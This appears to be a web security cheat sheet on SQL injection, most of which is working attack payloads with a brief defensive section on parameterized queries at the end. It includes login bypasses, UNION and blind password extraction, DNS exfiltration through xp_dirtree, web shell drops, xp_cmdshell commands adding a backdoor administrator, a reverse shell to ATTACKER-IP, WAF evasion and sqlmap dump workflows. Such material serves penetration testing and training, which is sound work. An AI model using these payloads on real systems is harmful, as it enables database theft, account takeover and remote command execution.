Salta ai contenuti
Seleziona tema

SQL injection

Questi contenuti non sono ancora disponibili nella tua lingua.

SQL injection happens when user input is concatenated into a SQL query, letting the attacker change the structure of the query rather than only the values it operates on. The classic cause is string building:

app.py (vulnerable)
category = request.args.get("category", "Gifts")
query = f"SELECT name, price FROM products WHERE category = '{category}' AND released = 1"
rows = db.execute(query).fetchall()

Supplying category=Gifts' OR '1'='1 turns the WHERE clause into something always true, returning every product. category=Gifts'-- comments out the released = 1 filter, exposing unreleased rows. The fix is always the same: never build SQL by concatenation.

SQLi is not limited to WHERE clauses. Any part of the query that takes user input is a potential injection point:

Position Example
WHERE clause (most common) SELECT * FROM products WHERE category = 'INPUT'
UPDATE statements UPDATE users SET email = 'INPUT' WHERE id = 1
INSERT statements INSERT INTO users VALUES ('INPUT')
Table/column names SELECT * FROM INPUT
ORDER BY clause SELECT * FROM products ORDER BY INPUT

Before injecting, try to fingerprint the database from error messages or behavior:

DBMS Error indicators Key functions Concatenation
PostgreSQL ERROR: syntax error at or near version(), pg_sleep() ||
MySQL You have an error in your SQL syntax SLEEP(), @@version CONCAT() or space
Oracle Errors starting with ORA- dbms_pipe.receive_message() ||
MSSQL Microsoft OLE DB errors WAITFOR DELAY +

Quick fingerprint test (in a confirmed injectable parameter):

' || (SELECT version()) || ' -- PostgreSQL
' AND (SELECT @@version) AND '1'='1 -- MySQL / MSSQL
Technique What to do What to look for
Break syntax Send a single ' or " Error message or changed response
Comments '--, '#, '/* */ Response changes (e.g. filter removed)
Boolean pairs ' AND '1'='1 vs ' AND '1'='2 Different response for true vs false
Arithmetic id=2-1 (behaves like id=1) Value is evaluated as SQL
Time delay Per-DBMS sleep payload Response delayed by the specified time

Time delay payloads per DBMS:

PostgreSQL
' || pg_sleep(10) || '
MySQL
' AND SLEEP(10) AND '1'='1
MSSQL
'; WAITFOR DELAY '0:0:10'--
Oracle
' || dbms_pipe.receive_message('a',10) || '

If the response takes 10 seconds, the parameter is injectable.

  • In-band: data comes back in the HTTP response.
    • Error-based: the DBMS leaks data in error messages.
    • UNION-based: attacker-chosen rows are appended to the result set.
  • Blind: no data in the response, only a yes/no signal.
    • Boolean-based: the page content differs for true vs false.
    • Time-based: the response time differs.
  • Out-of-band (OAST): exfiltration over another channel (DNS, HTTP) when there is no usable in-band or timing signal.
  • Second-order: the payload is stored by one request and executed later by a different query that trusts the stored value. Example: registering with username admin'--, which is stored safely but later interpolated into a query without parameterization.

Login forms are the first place to test. The query behind a login is typically:

SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT'

Classic bypass (comment out the password check):

Username field
administrator'-- -

The query becomes ... WHERE username = 'administrator'-- -' AND password = '...'. Everything after -- is a comment: the password check is gone, and you are logged in as administrator.

Common login bypass payloads:

Payload (username field) Why it works
admin'-- - Comments out password check
' OR 1=1-- - Returns the first user (often admin)
' OR 1=1 LIMIT 1-- - Explicit first row (MySQL)
admin' OR '1'='1 Always-true OR, no comment needed
' OR 1=1# MySQL comment variant

When the password field is injectable instead:

Password field
' OR '1'='1

The query becomes ... WHERE username = 'admin' AND password = '' OR '1'='1'. Because AND binds tighter than OR, this evaluates as (username='admin' AND password='') OR ('1'='1'), which is always true.

Some DBMS/driver combinations allow multiple statements separated by ;. This is the most dangerous injection class because it lets you execute arbitrary statements, not just modify the existing one.

MSSQL (always supports stacking)
'; DROP TABLE users-- -
'; INSERT INTO users(username,password) VALUES('backdoor','pass123')-- -
'; EXEC xp_cmdshell 'whoami'-- -
PostgreSQL (supports stacking)
'; CREATE TABLE exfil(data text); COPY exfil FROM '/etc/passwd'-- -

Stacking support by DBMS:

DBMS Stacking Notes
MSSQL Yes (always) Full support, enables xp_cmdshell, EXEC
PostgreSQL Yes (usually) Full support, enables COPY, CREATE
MySQL Depends on driver PHP mysqli_query(): no. mysqli_multi_query(): yes. PDO: depends on config
Oracle No Does not support stacking in standard injection contexts
SQLite Depends on API Python executescript(): yes. execute(): no

UNION SELECT appends attacker-chosen rows to the result set. Two things must match first:

Method 1: ORDER BY (faster):

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Increment until you get an error. If ORDER BY 3 works but ORDER BY 4 errors, there are 3 columns.

Method 2: UNION SELECT NULL (more reliable):

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

NULL is compatible with any data type, so when the number of NULLs matches the column count the query succeeds. On Oracle, add FROM dual:

' UNION SELECT NULL FROM dual-- -
' UNION SELECT NULL,NULL FROM dual-- -

On MySQL, -- must be followed by a space (-- -), or use #:

' UNION SELECT NULL#

Put a string marker ('a') in each position, one at a time:

' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
' UNION SELECT NULL,NULL,'a'-- -

If the position does not error, that column accepts strings and can carry extracted data.

Error when a column is numeric:

Conversion failed when converting the varchar value 'a' to data type int.

Non-Oracle (MySQL, PostgreSQL, MSSQL):

List tables
' UNION SELECT table_name, NULL FROM information_schema.tables-- -

Look for interesting table names: users, accounts, credentials, admin.

List columns of a table
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -

Oracle:

List tables
' UNION SELECT table_name, NULL FROM all_tables-- -
List columns
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS'-- -

Oracle table and column names are often uppercase.

' UNION SELECT username, password FROM users-- -

Single-column extraction with concatenation

Section titled “Single-column extraction with concatenation”

When only one column accepts strings, concatenate multiple values with a separator:

DBMS Syntax Example
Oracle / PostgreSQL || username || '~' || password
MySQL CONCAT() CONCAT(username, '~', password)
MSSQL + username + '~' + password
Oracle / PostgreSQL
' UNION SELECT username || '~' || password, NULL FROM users-- -

Result: administrator~s3cure, wiener~peter. The separator ~ marks where one value ends and the next begins.

When the application does not return query results or detailed errors, blind techniques extract data one bit of information at a time.

The page content changes depending on a true/false condition.

Scenario: a TrackingId cookie is passed into a query. If the ID is recognized, the page shows “Welcome back”.

Test: is the condition evaluated?
xyz' AND '1'='1 -- true → "Welcome back" appears
xyz' AND '1'='2 -- false → "Welcome back" disappears

Extract data character by character using binary search:

Is the first char of the admin password > 'm'?
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1) > 'm'-- -

If “Welcome back” appears, the first character is between n and z. Test > 't', then narrow down to the exact character.

DBMS Substring function
MySQL, MSSQL, PostgreSQL SUBSTRING(column, pos, len)
Oracle SUBSTR(column, pos, len)

Repeat for each character position. In practice, use Burp Intruder in Cluster bomb mode with two payload positions (character index 1..N and character value a-z/0-9) and grep for the true-response marker.

The page does not change content, but database errors cause a different HTTP response (e.g. 500 vs 200).

Use a CASE statement to trigger a divide-by-zero on a true condition:

True → error (1/0), False → no error
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a -- error
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a -- no error

Extract data:

xyz' AND (SELECT CASE WHEN (Username='administrator' AND SUBSTRING(Password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM Users)='a

Verbose error messages (error-based extraction via CAST)

Section titled “Verbose error messages (error-based extraction via CAST)”

If the DBMS returns verbose error messages, force a type conversion error that leaks data:

' AND CAST((SELECT password FROM users WHERE username='administrator') AS int)=1-- -

Error response:

ERROR: invalid input syntax for type integer: "s3cureP@ss"

The password is leaked directly in the error message. One query, full value, no character-by-character extraction needed.

The application handles errors gracefully and the response never changes. Use conditional delays.

MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (1=2) WAITFOR DELAY '0:0:10'--

If the first takes 10 seconds and the second returns immediately, the condition is evaluated.

Extract data:

MSSQL: is the first char > 'm'?
'; IF (SELECT COUNT(username) FROM users WHERE username='administrator' AND SUBSTRING(password,1,1)>'m')=1 WAITFOR DELAY '0:0:10'--

Time delay payloads per DBMS:

DBMS Delay syntax
MSSQL WAITFOR DELAY '0:0:10'
MySQL SLEEP(10)
PostgreSQL pg_sleep(10)
Oracle dbms_pipe.receive_message('a',10) (requires execute privileges)

MySQL conditional delay:

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(10), 0)-- -

PostgreSQL conditional delay:

' || (SELECT CASE WHEN SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' THEN pg_sleep(10) ELSE NULL END) || '

When the application is asynchronous (query results do not affect the HTTP response, errors are caught, and timing is unreliable), trigger a DNS lookup to a Burp Collaborator domain.

MSSQL: DNS exfiltration with xp_dirtree:

Trigger DNS lookup
'; exec master..xp_dirtree '//YOUR-ID.oastify.com/a'--

MSSQL: exfiltrate data in the DNS query:

Password in the subdomain
'; declare @p varchar(1024);
set @p=(SELECT password FROM users WHERE username='administrator');
exec('master..xp_dirtree "//'+@p+'.YOUR-ID.oastify.com/a"')--

In Burp Collaborator, the DNS lookup appears as:

s3cureP4ss.YOUR-ID.oastify.com
DBMS OAST technique
MSSQL xp_dirtree, xp_fileexist
Oracle UTL_INADDR.get_host_address(), UTL_HTTP.request()
MySQL LOAD_FILE() with UNC path
PostgreSQL COPY ... TO PROGRAM 'nslookup ...'
Technique When to use
Boolean-based Page content differs for true vs false
Error-based Errors cause different HTTP status codes
CAST/verbose errors Error messages include query output
Time-based No content or status difference, but queries are synchronous
OAST (DNS) Asynchronous execution or all other techniques fail

Once injection is confirmed, enumerate the database structure to find interesting data.

DBMS Query
MySQL / MSSQL SELECT @@version
PostgreSQL SELECT version()
Oracle SELECT banner FROM v$version
UNION payload
' UNION SELECT @@version, NULL-- -

Non-Oracle (information_schema):

List all tables
SELECT table_name FROM information_schema.tables
List columns of a specific table
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users'

Oracle:

List all tables
SELECT table_name FROM all_tables
List columns
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='USERS'

Try these in order:

  1. SELECT @@version (MySQL / MSSQL)
  2. SELECT version() (PostgreSQL)
  3. SELECT banner FROM v$version (Oracle)

Whichever succeeds identifies the DBMS.

Some applications accept structured input (JSON, XML) that is interpolated into queries. WAFs that look for SQL keywords in query strings may miss them in a request body.

XML with entity encoding to bypass WAF:

Request body
<stockCheck>
<productId>123</productId>
<storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

&#x53; is the XML entity for S. After XML parsing, it becomes SELECT, bypassing keyword filters.

The payload is stored safely by one request, then used in a different query without parameterization:

  1. Register with username: admin'--
  2. The application stores it safely (parameterized INSERT).
  3. Later, a password-change query uses the stored username:
    UPDATE users SET password='newpass' WHERE username='admin'--'
  4. The -- comments out the rest, changing the admin’s password.

Second-order SQLi is hard to find with automated scanners because the injection point and the execution point are different requests.

When the database user has the right privileges, SQLi can read and write files on the server.

MySQL: LOAD_FILE()
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL-- -

Requires the MySQL user to have FILE privilege and the file to be world-readable (or owned by the mysql user). On Windows: LOAD_FILE('C:\\inetpub\\wwwroot\\web.config').

PostgreSQL: pg_read_file()
' UNION SELECT pg_read_file('/etc/passwd'), NULL-- -

Requires superuser. Alternative: COPY exfil(data) FROM '/etc/passwd' with stacked queries, then read from the exfil table.

MSSQL: OPENROWSET (requires ad hoc queries enabled)
' UNION SELECT data FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS t(data)-- -

If the database can write to the web root, drop a web shell:

MySQL: INTO OUTFILE
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -

Requires FILE privilege and write access to the directory. After this, http://target.example/shell.php?cmd=id executes commands.

PostgreSQL: COPY TO
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -

Requires superuser and stacked queries.

MSSQL: xp_cmdshell + echo
'; EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php'-- -

The ultimate escalation: running OS commands directly from SQL.

xp_cmdshell is a built-in extended stored procedure that runs OS commands:

Check if enabled
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- -
Execute commands
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC xp_cmdshell 'net user backdoor P@ss123 /add'-- -
'; EXEC xp_cmdshell 'net localgroup Administrators backdoor /add'-- -

If xp_cmdshell is disabled and you are sa (sysadmin), re-enable it. If not sa, you cannot enable it.

Exfiltrate xp_cmdshell output via OAST (when you cannot see the response):

'; declare @r varchar(8000);
set @r=(EXEC xp_cmdshell 'whoami');
exec('master..xp_dirtree "//'+@r+'.YOUR-ID.oastify.com/a"')-- -

PostgreSQL 9.3+ can pipe COPY output to an OS command (requires superuser):

'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt'-- -
'; COPY exfil FROM PROGRAM 'cat /tmp/out.txt'-- -

Or a reverse shell:

PostgreSQL reverse shell
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'-- -

MySQL does not have a built-in command execution function. The path is:

  1. Write a shared library (.so / .dll) to the plugin directory via INTO DUMPFILE
  2. Create a UDF from it: CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'
  3. Call it: SELECT sys_exec('id')

This requires FILE privilege and knowledge of the plugin directory path. sqlmap automates this with --os-shell.

If the Oracle JVM is installed (common in enterprise), execute Java code:

'; BEGIN
DBMS_JAVA.grant_permission('PUBLIC','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
END;-- -

Then create a Java stored procedure that calls Runtime.exec(). This is complex and requires high privileges.

DBMS Command execution Prerequisite
MSSQL xp_cmdshell sa role or xp_cmdshell already enabled
PostgreSQL COPY TO PROGRAM Superuser (PostgreSQL 9.3+)
MySQL UDF via INTO DUMPFILE FILE privilege + write to plugin dir
Oracle Java stored procedures Oracle JVM installed + Java permissions
Technique Example
Case variation SeLeCt, sElEcT
Inline comments SEL/**/ECT
URL encoding %53%45%4C%45%43%54
MySQL versioned comments /*!SELECT*/ (executed by MySQL, ignored by others)
Concatenation (PostgreSQL) SEL||ECT
Technique Example
Comments as spaces SELECT/**/username/**/FROM/**/users
Tab (%09) SELECT%09username%09FROM%09users
Newline (%0A) SELECT%0Ausername%0AFROM%0Ausers
Blocked Alternative
OR / AND || and && (MySQL/PostgreSQL)
OR / AND ^ (XOR)
Blocked Alternative DBMS
= LIKE All
= REGEXP / RLIKE MySQL
= BETWEEN x AND x All
= IN ('value') All
Replace = with LIKE
' AND SUBSTRING(password,1,1) LIKE 'a'-- -
Technique Example DBMS
Hex encoding 0x61646d696e instead of 'admin' MySQL
CHAR() CHAR(97,100,109,105,110) MySQL, MSSQL
CHR() CHR(97)||CHR(100)||CHR(109) PostgreSQL, Oracle
MySQL: hex instead of quotes
' UNION SELECT * FROM users WHERE username = 0x61646d696e-- -

If the WAF decodes the URL once but the backend decodes it twice:

Normal: ' OR 1=1-- -
Single: %27%20OR%201%3D1--%20-
Double: %2527%2520OR%25201%253D1--%2520-

The WAF sees %2527 (not a quote), but the application decodes it to %27, then to '.

Some WAFs inspect only the first occurrence of a parameter. Some backends use the last:

?id=1&id=' UNION SELECT password FROM users-- -

The WAF checks id=1 (clean). The backend (ASP.NET, PHP depending on config) uses the second value.

Once a parameter is confirmed injectable, sqlmap automates the extraction. Feed it a request saved from Burp so headers and cookies are exact:

Basic scan from a saved request
sqlmap -r request.txt -p id --batch --level 3 --risk 2

Enumeration workflow:

Step 1: list databases
sqlmap -r request.txt --dbs
Step 2: list tables in a database
sqlmap -r request.txt -D target_db --tables
Step 3: list columns
sqlmap -r request.txt -D target_db -T users --columns
Step 4: dump data
sqlmap -r request.txt -D target_db -T users --dump
Dump with condition
sqlmap -r request.txt -D target_db -T users --dump --where="role='admin'"

Key flags:

Flag Purpose
-r request.txt Saved HTTP request (headers and cookies exact)
-p id Target one parameter
--level 3 --risk 2 More injection points and aggressive payloads
--dbms postgresql Skip fingerprinting, go straight to the right dialect
--technique=BT Boolean + Time only (quieter)
--batch Non-interactive, accept defaults
--threads 10 Parallel requests (faster but noisier)
--random-agent Randomize User-Agent
--delay 1 Wait between requests (slower but stealthier)

WAF bypass with tamper scripts:

Bypass mod_security / WAF
sqlmap -r request.txt --tamper=space2comment,randomcase
MySQL-specific bypass
sqlmap -r request.txt --tamper=space2hash,charencode

When you want fine-grained control over the extraction (or when sqlmap does not detect the injection), Burp Intruder with Cluster bomb mode automates blind character extraction.

Setup:

TrackingId=abc' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),§1§,1)='§a§'-- -
  • Payload 1 (position): numbers 1 through 32 (expected max password length).
  • Payload 2 (character): a-z, 0-9 (or the full printable ASCII range).

In the results, filter by response length or grep for the true-response marker (e.g. “Welcome back”). The matching position + character combination reveals one character of the password.

For time-based blind: use the same setup but sort results by Response time instead. A ~10 second response indicates the correct character.

  1. In Burp, right-click the request and Copy as curl or Save item as a .txt file.
  2. Feed to sqlmap: sqlmap -r request.txt -p <param> --level 5 --risk 3 --batch.
  3. sqlmap handles detection, fingerprinting and extraction.

Parameterized queries (prepared statements)

Section titled “Parameterized queries (prepared statements)”

The query text and the data travel separately, so input can never change the query structure:

Python (fixed)
query = "SELECT name, price FROM products WHERE category = ? AND released = 1"
rows = db.execute(query, (category,)).fetchall()
Java (fixed)
PreparedStatement stmt = connection.prepareStatement(
"SELECT * FROM products WHERE category = ?"
);
stmt.setString(1, input);
ResultSet rs = stmt.executeQuery();

The query string is a constant. No variable data from any source is concatenated into it.

Column names, table names, and ORDER BY directions are not bindable in prepared statements. Validate them against an allowlist of known-good values:

Allowlist validation
ALLOWED_SORT = {"name", "price", "date"}
sort_col = request.args.get("sort", "name")
if sort_col not in ALLOWED_SORT:
sort_col = "name"
query = f"SELECT * FROM products ORDER BY {sort_col}"

ORMs prevent SQLi by default, but raw query methods reintroduce it. Watch for: Django raw(), extra(); SQLAlchemy text(), string-formatted fragments; ActiveRecord find_by_sql. Any place you pass a string instead of a parameterized query is a potential injection point.

The database account the application uses should hold only the rights it needs (no DROP, no xp_dirtree, no file operations). Error messages shown to users must not leak query internals. Both limit the blast radius when something slips through.

Task Syntax
Version @@version
Delay SLEEP(5)
Tables information_schema.tables
Concat CONCAT(a,b) or space between strings
Substring SUBSTRING() or MID()
Comment -- - or #
Task Syntax
Version version()
Delay pg_sleep(5)
Tables information_schema.tables
Concat a || b
Substring SUBSTRING()
Comment -- -, /* */
Task Syntax
Version @@version
Delay WAITFOR DELAY '0:0:5'
Tables information_schema.tables
Concat a + b
Substring SUBSTRING()
Comment -- -
Task Syntax
Version SELECT banner FROM v$version
Delay dbms_pipe.receive_message('a',5)
Tables all_tables
Columns all_tab_columns
Concat a || b
Substring SUBSTR()
Comment -- -
Requires FROM FROM dual for SELECT without a table
Task Syntax
Version sqlite_version()
Tables sqlite_master
Concat a || b
Comment -- -

2609 parole, circa 13 min di lettura